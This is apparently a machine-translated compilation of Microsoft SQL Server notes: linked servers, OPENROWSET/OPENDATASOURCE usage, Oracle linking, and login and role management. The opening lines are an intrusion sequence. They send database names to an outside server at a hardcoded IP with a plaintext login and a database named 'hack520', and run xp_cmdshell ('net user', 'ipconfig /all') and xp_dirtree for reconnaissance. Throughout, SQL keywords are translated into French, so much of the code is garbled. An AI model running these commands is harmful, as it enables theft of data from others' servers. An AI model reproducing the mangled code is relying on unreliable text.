Select * depuis OpenQuery(ToatDeWeb,'Select
srvname issu de master.dbo.sysservers')
Insérer dans OpenDataSource
('sqloledb','server=222.241.95.12 ; UID=SCD ; PWD=A123520 ; database=hack520').hack520.dbo.zhu select
nom issu de master.dbo.sysdatabases créer une base de données hack520 Créer TABLE zhu(nom nvarchar(256)
null) Create TABLE J8(id int NULL, name nvarchar(256) null) ;
Select * depuis OpenQuery
(toatdeweb, « mettre fmtonly désactivé par exécutif master.dbo.xp_cmdshell « utilisateur net »'')
Maître exécutif... xp_dirtree
'c :\',1,1 Effectuer un répertoire de requête
exécutif links.master.. xp_cmdshell 'ipconfig'
Select * depuis OpenQuery(ToatDeWeb,'Set
fmtonly off exec master.dbo.xp_cmdshell ''ipconfig /all'')
Connecter mysql Select * depuis Mem_DB. UserDB.dbo.AdminList
MAÎTRE EXÉCUTIF... XP_dirtree 'c :\',1,1
Exécutif
master.dbo.xp_cmdshell 'dir'
Select count(*) depuis [indiquer] Interrogez la quantité de données contenue dans le tableau actuel
sélectionnez nom d’hôte distinct,db_name(dbid),net_address,logname,program_name
De la part du maître... sysprocesses
sélectionner * depuis gameDB01. Server01.dbo.cabal_character_table où nom='
Cochon
Quand vous la supprimez, il est indiqué : La base de données est utilisée et ne peut pas être supprimée.
Cliquez sur la base de données que vous souhaitez supprimer pour ouvrir l’Observateur d’événements.
Entrée :
Utilisation
maître Vas-y Entrez ensuite les éléments suivants : déclarer @d Varchar (8000) Ensemble @d= ' ' sélectionne @d=@d+ ' tuer
'+cast(spid en tant que varchar)+personnage(13) De la part du maître... sysprocesses où dbid=db_id(« nom de la bibliothèque ») exécutif(@d) -- Utilisez un code pour supprimer d’abord le processus qui se connecte à cette base de données
MSSQL exploite Oracle via LinkServer
1) Installer Oracle sur le serveur SQL_SERVER 2005
9i. Supposons installer dans le dossier C :\ora92i\. Si D : est une partition NTFS, vous devez définir le dossier ORACLE installé comme celui utilisé
Les abonnés ont le droit de l’exécuter, d’ajouter et de supprimer.
2) Configurez le fichier C :\ora92i\network\ADMIN\tnsnames.ora. (Le texte rouge suivant est un exemple de configuration)
ORCL=
(DEscrip{filter}tION=.)
(ADDRESS_LIST =
(ADDRESS = (PROTOCOLE = TCP)(HOST = 192.168.0.11)(PORT= 1521))
)
(CONNECT_DATA =
(SERVICE_NAME = orcl)
)
)
3) Exécutez la commande suivante en mode DOS pour confirmer que le client ORACLE est bien installé.
Utilisateur/password@ORCL SQL Plus
4) Ouvrir Start - Panneau de contrôle - Services et confirmer que le service de Coordinateur de Transactions Distribuées est lancé.
5) Ouvrir SQL SERVER Management Studio, Nom d’instance (ORCL) - Objet serveur (clic droit) - Nouveau serveur de connexion.
1.
Serveur de liaison : Écrivez le nom du serveur lié, comme OracleTest
2. Type de serveur, sélectionnez une autre source de données
3. Interface d’accès : Sélectionnez le fournisseur Oracle pour OLE DB
4. Nom du produit : Écrire Oracle
5. Source des données : Rapport
Le nom du service est configuré dans le fichier tnsnames.ora, tel que ORCL
6. Chaîne d’interface d’accès : userid=sys as sysdba ; mot de passe = mot de passe
7. Sur la page Select Security Options, utilisez ce contexte d’installation pour établir une connexion :
a) Connexion à distance : utilisateur (autre utilisateur, pas sys)
b)
Utiliser mot de passe : mot de passe
8. Définir « NT AUTHORITY\SYSTEM » sur la connexion locale, sys, et définir le mot de passe
9.
Es-tu sûr
6) Il existe deux façons d’écrire SQL
a) Utilisation de la syntaxe T-SQL :
SELECT * FROM
OraTest.ERP.BAS_ITEM_CLASS
Notez que lors de la saisie des instructions SQL dans SQL Query Analyzer, faites attention aux commutations chinoises pleine et demi-largeur
Way !
b) Utiliser la syntaxe PLSQL : SELECT * FROM openquery(OraTest,'SELECT * FROM
OraTest.ERP.BAS_ITEM_CLASS ')
c) La deuxième méthode d’accès est environ 50 % plus rapide que la première ; La seconde méthode d’accès est directement connectée
ORACLE est comparable ; La première méthode d’accès peut entraîner des erreurs inattendues, telles que : La table n’existe pas, ni l’utilisateur actuel
Il n’y a pas d’accès à la table, etc.
d) Si la colonne à consulter utilise des types de données sans précision, les deux
C’est un bug d’ORACLE qui ne peut pas être corrigé, et ne peut être évité qu’en gérant spécialement les instructions de requête :
Les métadonnées fournies par le fournisseur OLE DB 'OraOLEDB.Oracle' pour les colonnes sont incohérentes. Les informations sur les métadonnées sont modifiées lors de l’exécution.
MSSQL a ajouté
Supprimez l’utilisateur et donnez les permissions
Utilisez votre nom de bibliothèque Vas-y --Ajouter des utilisateurs Exécutif sp_addlogin 'test' -- Ajouter une connexion Exécutif
sp_grantdbaccess N’test' - en faire un utilisateur légitime de la base de données actuelle exécutif sp_addrolemember N’db_owner',
N’test - accorde toutes les permissions à leur propre base de données --Cela crée des utilisateurs qui ne peuvent accéder qu’à leur propre base de données et à ce qui y est inclus
Table publique pour les utilisateurs invités Vas-y --Supprimer l’utilisateur de test exec sp_revokedbaccess N’test » -- Supprimer l’accès à la base de données
Limite exécutif sp_droplogin N’test' -- supprimer la connexion Si vous le créez dans Enterprise Manager, utilisez : Gestionnaire d’entreprise - Sécurité
Sexe --Clic droit Connexion --Nouvelle connexion Articles généraux --Entrez le nom d’utilisateur dans le nom
--La méthode d’authentification est sélectionnée selon vos besoins (si vous utilisez l’authentification Windows, vous devez d’abord créer un nouvel utilisateur parmi les utilisateurs du système d’exploitation)
--Dans les paramètres par défaut, sélectionnez le nom de base de données auquel vous souhaitez accéder pour le nouvel utilisateur Élément de rôle serveur Ne choisis rien là-dedans base de données
Objet d’accès Vérifiez le nom de la base de données que vous souhaitez accéder pour l’utilisateur que vous créez Autoriser le rôle de base de données, cochez « public », « db_ownew » Bien sûr, ça
L’utilisateur créé par l’échantillon est le même que l’utilisateur créé par l’énoncé ci-dessus
La dernière étape consiste à définir des autorisations d’accès spécifiques pour des utilisateurs spécifiques, ce qui peut être référencé à l’exemple minimal suivant :
--Ajouter des utilisateurs autorisés uniquement à accéder à la table spécifiée : sp_addlogin exécutif 'nom d’utilisateur', 'mot de passe', 'nom de base de données par défaut'
--ajouter à la base de données Exécutif sp_grantdbaccess « nom d’utilisateur »
--Attribuer des permissions de table entières ACCORDER SELECT , INSERT , UPDATE , DELETE ON TABLE1 À [NOM D’UTILISATEUR] --Attribuer des permissions à des colonnes spécifiques ACCORDER LA SÉLECTION , MISE À JOUR SUR table1(id,AA) vers [nom d’utilisateur]
Pour des paramètres de sécurité spécifiques et des connaissances théoriques, veuillez consulter l’aide SQL Online
Description du rôle de base de données fixe db_owner Avoir les autorisations complètes dans la base de données.
db_accessadmin Vous pouvez ajouter ou retirer des identifiants utilisateurs.
db_securityadmin Peut gérer les permissions complètes, la propriété des objets, les rôles et les adhésions de rôles.
db_ddladmin peut émettre TOUS les DDL, mais pas les déclarations d’ACCORDER, RÉVOQUER ou REFUSER.
db_backupoperator peut émettre des instructions DBCC, CHECKPOINT et BACKUP.
db_datareader Vous pouvez sélectionner toutes les données de n’importe quelle table utilisateur dans la base de données.
db_datawriter Vous pouvez modifier toutes les données dans n’importe quelle table utilisateur de la base de données.
db_denydatareader Vous ne pouvez sélectionner aucune donnée dans une table utilisateur dans la base de données.
db_denydatawriter Vous ne pouvez modifier aucune donnée dans une table utilisateur de la base de données.
Vous devriez choisir db_datareader, db_datawriter, db_accessadmin
5. Après le lancement de l’instance SQL Server en mode utilisateur unique, le compte administrateur Windows peut utiliser l’outil sqlcmd pour se connecter en mode authentification Windows
SQL Server。 Vous pouvez utiliser des commandes T-SQL telles que « sp_addsrvrolemember » pour ajouter une connexion existante au rôle de serveur sysadmin
Ou créer un nouveau compte de connexion. Voici un exemple d’énoncé :
EXÉCUTIF sp_addsrvrolemember 'CONTOSO\Buck', 'sysadmin' ;
GO
Ajouter un privilège administrateur système
(1) Gérer les rôles de serveur
Dans SQL Server, il existe deux principales procédures stockées qui implémentent la gestion des rôles SQL Server :
sp_addsrvrolemember
et sp_dropsrvrolemember
sp_addsrvrolemember Vous pouvez ajouter un compte de connexion à un rôle serveur pour en faire un membre de ce rôle serveur. La syntaxe est la suivante : sp_addsrvrolemember
connexion , rôle
sp_dropsrvrolemember Vous pouvez supprimer un compte de connexion d’un rôle serveur, et lorsque le membre est retiré du rôle serveur, il n’a plus ce rôle de serveur
Les permissions sont définies. La syntaxe est la suivante : sp_dropsrvrolemember [@loginname=]'login',[@rolename=]'role'
dans ce domaine
@loginname est le nom de l’utilisateur connecté ; @rolename est un rôle de serveur.
(2) Gérer les rôles dans la base de données
Dans SQL Server, la gestion de bases de données est prise en charge
Il existe six principaux types de procédures stockées, dont les significations et la syntaxe spécifiques sont les suivantes :
sp_addrole : Utilisé pour créer un nouveau rôle de base de données ; sp_addrole
Rôle, propriétaire
sp_droprole : Utilisé pour retirer un rôle de base de données du rôle actuel ; sp_droprole rôle
sp_helprole :
Il est utilisé pour afficher toutes les informations sur tous les rôles de base de données dans la base de données actuelle ; sp_helprole ['rôle']
sp_addrolemember : Utilisé pour envoyer à la base de données
Ajouter des utilisateurs de base de données à un rôle, qui peut être des rôles standards définis par l’utilisateur ou des rôles fixes dans la base de données, mais qui ne peut pas l’être
Postes de candidature. sp_addrolemember rôle, security_account
sp_droprolemember : Utilisé pour supprimer un certain personnage
le foyer ; sp_droprolemember rôle, security_account
sp_helprolemember : Utilisé pour afficher tous les membres d’un rôle dans une base de données
。 sp_helprolemember ['rôle']
Requête MSSQL LINKSERVER
---------------------------------------------------------------------------------- -- Auteur :
htl258 (Tony) -- Date : 2010-06-25 22:23:18 -- Version : Microsoft SQL Server 2008 (RTM) -
10.0.1600.22 (Intel X86) -- 9 juil. 2008 14:43:34 -- Copyright (c) 1988-2008 Microsoft Corporation --
Developer Edition sur Windows NT 5.1 (Build 2600 : Service Pack 2) -- Blog : -- Objet : Opérations de données SQL entre différentes bases de données serveur ---------------------------------------------------------------------------------- --1. Créer un serveur de liens --1.1 Créer un nom de lien EXEC sp_addlinkedserver 'LinkName', ''SQLOLEDB', le nom du serveur distant
ou adresse IP » — Si vous avez un nom d’instance personnalisé, ajoutez « \nom d’instance »
/*例如:EXEC sp_addlinkedserver
'TonyLink','','SQLOLEDB','192.168.58.208' */ --1.2 Créez une connexion (ou créez une carte de connexion serveur de liens) (choisissez simplement une option) --1.2.1 Connexion avec l’authentification Windows EXÉCUTIF sp_addlinkedsrvlogin « LinkName » --ou EXEC sp_addlinkedsrvlogin 'LinkName', 'true'
/*例如:EXEC sp_addlinkedsrvlogin 'TonyLink' */ --1.2.2 Connexion avec l’authentification SQL EXEC sp_addlinkedsrvlogin 'LinkName', 'false', NULL,'Username', 'Password'
/*例如:EXEC
sp_addlinkedsrvlogin 'TonyLink', 'false', null,'sa', '123' */ --2. Opérations de données liées au serveur de liaison --2.1 Exemple de requête SELECT * FROM LinkName.database name.schema name.table name
/*例如:SELECT *
DEPUIS TonyLink.Mydb.dbo.tb */ -- 2.2 Exemple d’importation SELECT * DANS le nom de la table DEPUIS LinkName.database name.schema name.table name
/*例如:SELECT * INTO Newtb
DEPUIS TonyLink.Mydb.dbo.tb */ -- 2.3 Exemple de mise à jour MISE À JOUR LinkName.Database Name.Schema Name.Table Name SET champ='value' OÙ champ='condition'
/*例如:UPDATE
TonyLink.Mydb.dbo.tb SET Persons='g' WHERE Persons='a' */ -- 2.4 Supprimer les exemples SUPPRIMER NomDeLien.Nom de la base de données.Nom du schéma.Nom de la table OÙ nom du champ='condition'
/*例如:DELETE
TonyLink.Mydb.dbo.tb WHERE Persons='g' */ --3 via la fonction de rowset (OPENQUERY/OPENROWSET/OPENDATASOURCE).
Méthode
- 3.1 Méthode OPENQUERY (nécessite l’aide du serveur de liens que vous venez de créer) : -- 3.1.1 Exemple de requête SELECT * FROM OPENQUERY(LinkName, 'SELECT * FROM database name. Nom d’architecture. Nom de la table »)
/* Par exemple : SELECT * FROM OPENQUERY(TonyLink, 'SELECT * FROM Mydb.dbo.tb') */ -- 3.1.2 Exemples d’importation --3.1.2.1 Importer toutes les colonnes INSERT OPENQUERY(LinkName, 'SELECT * FROM nom de la base de données. Nom d’architecture. Nom du tableau
') SELECT * FROM le tableau local
/* 例如:INSERT OPENQUERY(TonyLink,'SELECT * FROM Mydb.dbo.tb') SELECT *
DE TB */ --3.1.2.2 Importez les colonnes spécifiées INSERT OPENQUERY(LinkName, 'SELECT * FROM nom de la base de données. Nom d’architecture. Nom du tableau') (colonne, colonne...) colonne SELECT,
Colonne... DE la table locale
/* Par exemple : INSERT OPENQUERY(TonyLink,'SELECT * FROM Mydb.dbo.tb')(RANGE,LEVEL,Persons) CHOISIR
ÉTENDUE, NIVEAU, Personnes originaires de la tuberculose */ --3.1.3 Exemples de mises à jour MISE À JOUR OPENQUERY(LinkName, 'SELECT * FROM nom de la base de données. Nom d’architecture. nom de la table') SET champ = 'valeur' mot WHERE
Segment = « Condition »
/*例如:UPDATE OPENQUERY(TonyLink, 'SELECT * FROM Mydb.dbo.tb') SET Persons='g' WHERE
Persons='a' */ --3.1.4 Supprimer les exemples SUPPRIMER OPENQUERY(NomLink, 'SELECT * FROM nom de la base de données. Nom d’architecture. nom de la table') OÙ nom du champ='condition'
/*例
Par exemple : DELETE OPENQUERY(TonyLink, 'SELECT * FROM Mydb.dbo.tb') WHERE Persons='g' */ --3.2 Méthode OPENROWSET (vous n’avez pas besoin d’utiliser le nom du lien créé.) Si le nom d’instance connectée n’est pas par défaut, vous devez le définir dans le nom du serveur SQL ou l’adresse IP.
« \nom de l’instance ») --3.2.1 Exemple de requête --3.2.1.1 Requête de méthode d’authentification Windows (l’une des méthodes suivantes suffit) SÉLECTIONNEZ * DEPUIS OPENROWSET('SQLOLEDB', 'server=nom serveur SQL ou
adresse IP ; Trusted_Connection=oui', nom de la base de données. Nom d’architecture. Nom du tableau) SÉLECTIONNEZ * DEPUIS OPENROWSET('SQLNCLI',
'server=nom ou adresse IP du serveur SQL ; Trusted_Connection=oui', nom de la base de données. Nom d’architecture. Nom du tableau) SELECT * FROM
OPENROWSET('SQLOLEDB', 'server=nom ou adresse IP du serveur sql ; Trusted_Connection=oui','SELECT * DEPUIS la base de données
Nom. Nom d’architecture. Nom de la table ») SÉLECTIONNEZ * DEPUIS OPENROWSET('SQLNCLI', 'serveur=nom ou adresse IP du serveur sql
Adresse ; Trusted_Connection=oui', 'SELECT * DEPUIS le nom de la base de données. Nom d’architecture. Nom de la table »)
/* Par exemple : SELECT * FROM OPENROWSET
('SQLOLEDB','Server=192.168.58.208 ; Trusted_Connection=yes',Mydb.dbo.tb)
Ou : SELECT * DEPUIS OPENROWSET
('SQLNCLI','Server=192.168.58.208 ; Trusted_Connection=yes',Mydb.dbo.tb)
Ou : SELECT * FROM OPENROWSET('SQLOLEDB','Server=192.168.58.208 ; Trusted_Connection=oui','SELECT *
DE Mydb.dbo.tb')
Ou : SELECT * FROM OPENROWSET('SQLNCLI','Server=192.168.58.208 ; Trusted_Connection=oui','SELECT *
DE Mydb.dbo.tb') */ --3.2.1.2 Requête de méthode d’authentification SQL (L’une des méthodes suivantes est suffisante) SELECT * DEPUIS OPENROWSET
('SQLOLEDB', 'serveur=nom ou adresse IP du serveur SQL ; uid=nom d’utilisateur ; PWD = mot de passe, nom de la base de données. Nom d’architecture. Nom du tableau) SELECT * FROM
OPENROWSET('SQLNCLI', 'server=nom ou adresse IP du serveur sql ; uid=nom d’utilisateur ; PWD = mot de passe, nom de la base de données. Nom d’architecture. Nom du tableau) SÉLECTIONNEZ * DEPUIS OPENROWSET('SQLOLEDB', 'serveur=nom ou adresse IP du serveur sql ; uid=nom d’utilisateur ; pwd=mot de passe','SELECT *
Nom de la base de données FROM. Nom d’architecture. Nom de la table ») SÉLECTIONNEZ * DEPUIS OPENROWSET('SQLNCLI', 'serveur=nom ou adresse IP du serveur sql ; uid=
Nom d’utilisateur; pwd=mot de passe', 'SELECT * FROM nom de la base de données. Nom d’architecture. Nom de la table ») SÉLECTIONNEZ * DEPUIS OPENROWSET('SQLOLEDB', 'sql
nom du serveur » ; « nom d’utilisateur » ; « mot de passe », nom de la base de données. Nom d’architecture. Nom du tableau) SÉLECTIONNEZ * DEPUIS OPENROWSET('SQLNCLI', 'NOM DU SERVEUR SQL
'; « nom d’utilisateur » ; « mot de passe », nom de la base de données. Nom d’architecture. Nom du tableau) SÉLECTIONNEZ * DEPUIS OPENROWSET('SQLOLEDB', 'NOM DU SERVEUR SQL' ; « utilisateur
nom » ; 'Mot de passe', 'SÉLECTIONNER * DEPUIS le nom de la base de données. Nom d’architecture. Nom de la table ») SELECT * FROM OPENROWSET('SQLNCLI', 'sql server
nom » ; « nom d’utilisateur » ; 'Mot de passe', 'SÉLECTIONNER * DEPUIS le nom de la base de données. Nom d’architecture. Nom de la table »)
/* 例如:SELECT * FROM OPENROWSET
('SQLOLEDB','server=192.168.58.208 ; UID=SA ; pwd=123',mydb.dbo.tb) Ou : SELECT * DEPUIS OPENROWSET
('SQLNCLI','server=192.168.58.208 ; UID=SA ; pwd=123',mydb.dbo.tb) Ou : SELECT * DEPUIS OPENROWSET
('SQLOLEDB','server=192.168.58.208 ; UID=SA ; pwd=123','SELECT * FROM Mydb.dbo.tb')
ou : SELECT * FROM OPENROWSET('SQLNCLI','server=192.168.58.208 ; UID=SA ; pwd=123','SELECT * FROM
Mydb.dbo.tb')
ou : SELECT * FROM OPENROWSET('SQLOLEDB','192.168.58.208' ; 'sa' ; '123', mydb.dbo.tb)
ou : SELECT * FROM OPENROWSET('SQLNCLI','192.168.58.208' ; 'sa' ; '123', mydb.dbo.tb)
ou : SELECT * FROM OPENROWSET('SQLOLEDB','192.168.58.208' ; 'sa' ; '123','SELECT * FROM Mydb.dbo.tb')
ou : SELECT * FROM OPENROWSET('SQLNCLI','192.168.58.208' ; 'sa' ; '123','SELECT * FROM Mydb.dbo.tb') */ --3.2.2 Exemple d’importation --3.2.2.1 Importer toutes les colonnes INSÉRER OPENROWSET('SQLOLEDB', 'server=nom ou adresse IP du serveur SQL
Adresse ; uid=nom d’utilisateur ; PWD = mot de passe, nom de la base de données. Nom d’architecture. Nom du tableau) SELECT * FROM Local Table
/* 例如:INSERT OPENROWSET
('SQLOLEDB','server=192.168.58.208 ; UID=SA ; pwd=123',mydb.dbo.tb) SELECT * FROM TB */ --3.2.2.2 Importation
Spécifier les colonnes INSÉRER OPENROWSET('SQLOLEDB', 'server=nom ou adresse IP du serveur SQL ; uid=nom d’utilisateur ; PWD = mot de passe, nom de la base de données. Rack
Nom du construct. Nom du tableau) (colonne, colonne...) Colonne SELECT, colonne... DE la table locale
/* 例如:INSERT OPENROWSET
('SQLOLEDB','server=192.168.58.208 ; UID=SA ; pwd=123', mydb.dbo.tb)(PORTÉE, NIVEAU, Personnes) CHOISIR
ÉTENDUE, NIVEAU, Personnes originaires de la tuberculose */ --Note : Pour plus de méthodes alternatives, consultez l’exemple de la requête .2.1, il suffit de remplacer la fonction OPENROWSET
Le contenu est suffisant. --3.2.3 Exemple de mise à jour UPDATE OPENROWSET('SQLOLEDB', 'server=nom ou adresse IP du serveur sql ; uid=nom d’utilisateur
;p wd=mot de passe, nom de la base de données. Nom d’architecture. Nom du tableau) Champ SET = 'valeur' OÙ champ = 'condition'
/*例如:UPDATE OPENROWSET
('SQLOLEDB','server=192.168.58.208 ; UID=SA ; pwd=123',mydb.dbo.tb) SET Persons='g' OÙ Personnes = 'a' */ --Note : Pour plus de méthodes alternatives, consultez l’exemple de la requête .2.1, il suffit de remplacer le contenu dans l’ensemble OPENROWSET. --3.2.4 Supprimer l’indication
Exemple SUPPRIMEZ OPENROWSET('SQLOLEDB', 'serveur=nom ou adresse IP du serveur sql ; uid=nom d’utilisateur ; PWD = mot de passe, nom de la base de données. Nom du schéma
.nom de table) OÙ nom du champ='condition'
/* Par exemple : DELETE OPENROWSET('SQLOLEDB','server=192.168.58.208 ; UID=SA ; pwd=123',mydb.dbo.tb) OÙ
Personnages='g' */ --Note : Pour plus de méthodes alternatives, voir l’exemple de requête .2.1, il suffit de remplacer le contenu dans l’OPENROWSET. --3.3 Méthode OPENDATASOURCE
(Vous n’avez pas besoin d’utiliser le nom du lien créé.) Si le nom d’instance de la connexion n’est pas le nom par défaut, vous devez ajouter \nom d’instance après le nom du serveur SQL ou l’adresse IP
") --3.3.1 Exemple de requête --3.3.1.1 Requête de la méthode d’authentification Windows (L’une des méthodes suivantes est suffisante) SÉLECTIONNEZ * DEPUIS OPENDATASOURCE('SQLOLEDB',
'server=nom ou adresse IP du serveur SQL ; Trusted_Connection=oui'). Nom de la base de données. Nom d’architecture. Nom du tableau SELECT * FROM
OPENDATASOURCE('SQLNCLI', 'server=nom ou adresse IP du serveur sql ; Trusted_Connection=oui'). Nom de la base de données. Nom d’architecture.
Nom du tableau
/* Par exemple : SELECT * DEPUIS OPENDATASOURCE
('SQLOLEDB','Server=192.168.58.208 ; Trusted_Connection=oui'). Mydb.dbo.tb
Ou : SELECT * DEPUIS OPENDATASOURCE
('SQLNCLI','Server=192.168.58.208 ; Trusted_Connection=oui'). Mydb.dbo.tb */ --3.3.1.2 Requête de méthode d’authentification SQL (l’une des méthodes suivantes suffit) SÉLECTIONNEZ * DEPUIS OPENDATASOURCE('SQLOLEDB', 'server=nom du serveur sql ou
adresse IP ; uid=nom d’utilisateur ; pwd=mot de passe). Nom de la base de données. Nom d’architecture. Nom du tableau SÉLECTIONNEZ * DEPUIS OPENDATASOURCE('SQLNCLI', 'serveur=nom ou adresse IP du serveur SQL ; uid=utilisateur
Nom ; pwd=mot de passe). Nom de la base de données. Nom d’architecture. Nom du tableau SÉLECTIONNEZ * DEPUIS OPENDATASOURCE('SQLOLEDB', 'Data Source=nom ou adresse IP du serveur sql
Adresse ; uid=nom d’utilisateur ; pwd=mot de passe). Nom de la base de données. Nom d’architecture. Nom du tableau SÉLECTIONNEZ * DEPUIS OPENDATASOURCE('SQLNCLI', 'Data Source=nom ou adresse IP du serveur sql
Adresse ; uid=nom d’utilisateur ; pwd=mot de passe). Nom de la base de données. Nom d’architecture. Nom du tableau
/* 例如:SELECT * FROM OPENDATASOURCE
('SQLOLEDB','Server=192.168.58.208 ; UID=SA ; pwd=123').mydb.dbo.tb
Ou : SELECT * FROM OPENDATASOURCE('SQLNCLI','Server=192.168.58.208 ; UID=SA ; pwd=123').mydb.dbo.tb
Ou : SELECT * FROM OPENDATASOURCE('SQLOLEDB','Data
Source=192.168.58.208 ; UID=SA ; pwd=123').mydb.dbo.tb
Ou : SELECT * FROM OPENDATASOURCE('SQLNCLI','Data
source=192.168.58.208 ; UID=SA ; pwd=123').mydb.dbo.tb */ Importez toutes les colonnes INSÉRER OPENDATASOURCE('SQLOLEDB', 'serveur=nom ou adresse IP du serveur sql ; uid=nom d’utilisateur ; pwd=mot de passe).
Selon le nom de la bibliothèque. Nom d’architecture. Nom du tableau SELECT * FROM Local Table
/* Par exemple : INSÉRER OPENDATASOURCE('SQLOLEDB','server=192.168.58.208 ; UID=SA ; pwd=123').mydb.dbo.tb CHOISIR
* DE TB */ --3.3.2.2 Importez les colonnes spécifiées INSÉRER OPENDATASOURCE('SQLOLEDB', 'serveur=nom ou adresse IP du serveur sql ; uid=nom d’utilisateur ; pwd=mot de passe).
Selon le nom de la bibliothèque. Nom d’architecture. Nom du tableau (colonne, colonne...) Colonne SELECT, colonne... DE la table locale
/* Par exemple : INSÉRER OPENDATASOURCE('SQLOLEDB','server=192.168.58.208 ; UID=SA ; pwd=123').mydb.dbo.tb
(PORTÉE, NIVEAU, Personnes) SÉLECTIONNEZ LA PORTÉE, LE NIVEAU, LES PERSONNES DE LA TUBERCULOSE */ --Note : Pour d’autres méthodes alternatives, voir l’exemple de requête .3.1, il suffit de remplacer le contenu dans la fonction de jeu de lignes (OPENDATASOURCE). --3.3.3 Exemple de mise à jour MISE À JOUR OPENDATASOURCE('SQLOLEDB', 'server=nom ou adresse IP du serveur sql ; uid=nom d’utilisateur ; pwd=mot de passe). Nom de la base de données. Nom d’architecture. Nom du tableau Champ SET = 'valeur' OÙ champ = 'condition'
/*例如:UPDATE OPENDATASOURCE
('SQLOLEDB','server=192.168.58.208 ; UID=SA ; pwd=123').mydb.dbo.tb SET Persons='g' OÙ Personnes = 'a' */ --Note : Pour d’autres méthodes alternatives, voir l’exemple de requête .3.1, il suffit de remplacer le contenu dans la fonction de jeu de lignes (OPENDATASOURCE). --3.3.4 Supprimer l’exemple SUPPRIMEZ OPENDATASOURCE('SQLOLEDB', 'serveur=nom ou adresse IP du serveur sql ; uid=nom d’utilisateur ; pwd=mot de passe). Nom de la base de données. Nom d’architecture. Nom du tableau OÙ nom du champ='condition'
/*例如:DELETE OPENDATASOURCE
('SQLOLEDB','server=192.168.58.208 ; UID=SA ; pwd=123').mydb.dbo.tb OÙ Personnages='g' */ - Note : Plus d’alternatives
Référez-vous à l’exemple de requête .3.1, il suffit de remplacer le contenu dans la fonction de rowset (OPENDATASOURCE). -- Supprimer la méthode serveur lié --Si vous n’utilisez plus les informations du lien à l’avenir, vous pouvez supprimer les informations du lien --4.1 Supprimer les informations de connexion (ou supprimer la carte des noms de connexion des serveurs liés) EXEC sp_droplinkedsrvlogin 'LinkName', NULL
/* Par exemple : EXEC sp_droplinkedsrvlogin 'TonyLink', NULL */ --4.2 Supprimer le nom du serveur lié EXEC sp_dropserver 'LinkName', 'droplogins' — si les droplogins sont spécifiés, La carte de connexion doit être supprimée avant de supprimer le serveur lié
/*例如:EXEC sp_dropserver 'TonyLink','droplogins' */
--Joint
: Comment obtenir le nom du fournisseur (maître EXEC.). xp_enum_oledb_providers) SELECT CAST([Nom du fournisseur] EN
VARCHAR(30)) NomFournisseur, CAST([Provider Descrip{filtering}tion] AS VARCHAR(60)) ProviderDescrip{filtering}tion DE
OPENROWSET( 'SQLOLEDB', 'Serveur=. ; Trusted_Connection=oui', « DÉCLENCHEZ LE PREMIER ; EXÉCUTIF
maître... xp_enum_oledb_providers'
)
|